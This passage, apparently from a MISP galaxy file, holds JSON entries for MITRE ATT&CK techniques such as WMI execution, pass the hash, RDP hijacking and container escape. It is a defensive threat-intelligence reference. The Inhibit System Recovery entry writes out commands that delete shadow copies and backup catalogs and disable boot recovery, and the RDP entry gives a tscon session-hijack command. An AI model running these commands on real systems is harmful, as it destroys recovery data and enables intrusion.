"external_id": "CAPEC-300",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Cloud Service: Cloud Service Enumeration",
"Command: Command Execution",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1046",
"https://capec.mitre.org/data/definitions/300.html"
]
},
"uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
"value": "Network Service Scanning - T1046"
},
{
"description": "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.",
"meta": {
"external_id": "T1604",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1604",
"https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html"
]
},
"uuid": "5ca3c7ec-55b2-4587-9376-cf6c96f8047a",
"value": "Proxy Through Victim - T1604"
},
{
"description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",
"meta": {
"external_id": "T1047",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1047",
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
]
},
"uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
"value": "Windows Management Instrumentation - T1047"
},
{
"description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no",
"meta": {
"external_id": "T1490",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Deletion",
"Process: Process Creation",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1490",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
]
},
"uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
"value": "Inhibit System Recovery - T1490"
},
{
"description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.",
"meta": {
"external_id": "T1505",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1505",
"https://www.us-cert.gov/ncas/alerts/TA15-314A"
]
},
"uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
"value": "Server Software Component - T1505"
},
{
"description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
"meta": {
"external_id": "T1560",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1560",
"https://en.wikipedia.org/wiki/List_of_file_signatures"
]
},
"uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"value": "Archive Collected Data - T1560"
},
{
"description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ",
"meta": {
"external_id": "T1506",
"refs": [
"https://attack.mitre.org/techniques/T1506",
"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
"https://wunderwuzzi23.github.io/blog/passthecookie.html"
]
},
"related": [
{
"dest-uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
"value": "Web Session Cookie - T1506"
},
{
"description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.",
"meta": {
"external_id": "T1065",
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1065"
]
},
"related": [
{
"dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0",
"value": "Uncommonly Used Port - T1065"
},
{
"description": "Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.",
"meta": {
"external_id": "T1507",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1507"
]
},
"related": [],
"uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2",
"value": "Network Information Discovery - T1507"
},
{
"description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)",
"meta": {
"external_id": "CAPEC-644",
"refs": [
"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm",
"https://attack.mitre.org/techniques/T1075",
"https://capec.mitre.org/data/definitions/644.html"
]
},
"related": [
{
"dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff",
"value": "Pass the Hash - T1075"
},
{
"description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",
"meta": {
"external_id": "T1570",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"Named Pipe: Named Pipe Metadata",
"Network Share: Network Share Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1570"
]
},
"uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
"value": "Lateral Tool Transfer - T1570"
},
{
"description": "A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.\n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)",
"meta": {
"external_id": "T1508",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1508",
"https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker",
"https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/",
"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/"
]
},
"related": [],
"uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2",
"value": "Suppress Application Icon - T1508"
},
{
"description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
"meta": {
"external_id": "T1580",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Enumeration",
"Cloud Storage: Cloud Storage Metadata",
"Instance: Instance Enumeration",
"Instance: Instance Metadata",
"Snapshot: Snapshot Enumeration",
"Snapshot: Snapshot Metadata",
"Volume: Volume Enumeration",
"Volume: Volume Metadata"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1580",
"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020",
"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html",
"https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html",
"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html",
"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
"https://expel.io/blog/finding-evil-in-aws/"
]
},
"uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
"value": "Cloud Infrastructure Discovery - T1580"
},
{
"description": "Adversaries may use non-standard ports to exfiltrate information.",
"meta": {
"external_id": "T1509",
"kill_chain": [
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1509"
]
},
"uuid": "948a447c-d783-4ba0-8516-a64140fcacd5",
"value": "Uncommonly Used Port - T1509"
},
{
"description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)",
"meta": {
"external_id": "T1606",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Web Credential: Web Credential Creation",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"SaaS",
"Windows",
"macOS",
"Linux",
"Azure AD",
"Office 365",
"Google Workspace",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606",
"https://github.com/damianh/aws-adfs-credential-generator",
"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
"https://wunderwuzzi23.github.io/blog/passthecookie.html"
]
},
"uuid": "94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
"value": "Forge Web Credentials - T1606"
},
{
"description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
"meta": {
"external_id": "CAPEC-555",
"refs": [
"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
"https://attack.mitre.org/techniques/T1076",
"https://capec.mitre.org/data/definitions/555.html",
"https://github.com/nccgroup/redsnarf",
"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
]
},
"related": [
{
"dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "51dea151-0898-4a45-967c-3ebee0420484",
"value": "Remote Desktop Protocol - T1076"
},
{
"description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)",
"meta": {
"external_id": "T1609",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1609",
"https://docs.docker.com/engine/reference/commandline/dockerd/",
"https://docs.docker.com/engine/reference/commandline/exec/",
"https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime",
"https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
"https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/",
"https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
]
},
"uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
"value": "Container Administration Command - T1609"
},
{
"description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
"meta": {
"external_id": "T1096",
"refs": [
"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
"http://msdn.microsoft.com/en-us/library/aa364404",
"https://attack.mitre.org/techniques/T1096",
"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
]
},
"related": [
{
"dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d",
"value": "NTFS File Attributes - T1096"
},
{
"description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.",
"meta": {
"external_id": "CAPEC-576",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Group: Group Enumeration",
"Group: Group Metadata",
"Pod: Pod Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1069",
"https://capec.mitre.org/data/definitions/576.html",
"https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
]
},
"uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
"value": "Permission Groups Discovery - T1069"
},
{
"description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)",
"meta": {
"external_id": "CAPEC-561",
"refs": [
"http://support.microsoft.com/kb/314984",
"https://attack.mitre.org/techniques/T1077",
"https://capec.mitre.org/data/definitions/561.html",
"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts",
"https://en.wikipedia.org/wiki/Server_Message_Block",
"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
"https://technet.microsoft.com/bb490717.aspx",
"https://technet.microsoft.com/en-us/library/cc787851.aspx"
]
},
"related": [
{
"dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "ffe742ed-9100-4686-9e00-c331da544787",
"value": "Windows Admin Shares - T1077"
},
{
"description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)",
"meta": {
"external_id": "CAPEC-645",
"refs": [
"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
"https://adsecurity.org/?p=556",
"https://attack.mitre.org/techniques/T1097",
"https://capec.mitre.org/data/definitions/645.html",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
]
},
"related": [
{
"dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c",
"value": "Pass the Ticket - T1097"
},
{
"description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
"meta": {
"external_id": "CAPEC-578",
"refs": [
"https://attack.mitre.org/techniques/T1089",
"https://capec.mitre.org/data/definitions/578.html"
]
},
"related": [
{
"dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044",
"value": "Disabling Security Tools - T1089"
},
{
"description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
"meta": {
"external_id": "CAPEC-649",
"refs": [
"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
"https://attack.mitre.org/techniques/T1151",
"https://capec.mitre.org/data/definitions/649.html"
]
},
"related": [
{
"dest-uuid": "e51137a5-1cdc-499e-911a-abaedaa5ac86",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
"value": "Space after Filename - T1151"
},
{
"description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",
"meta": {
"external_id": "T1611",
"kill_chain": [
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Container: Container Creation",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1611",
"https://docs.docker.com/get-started/overview/",
"https://docs.docker.com/storage/bind-mounts/",
"https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/",
"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/",
"https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html"
]
},
"uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665",
"value": "Escape to Host - T1611"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231).\n\nStrategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)",
"meta": {
"external_id": "T1231",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1231"
]
},
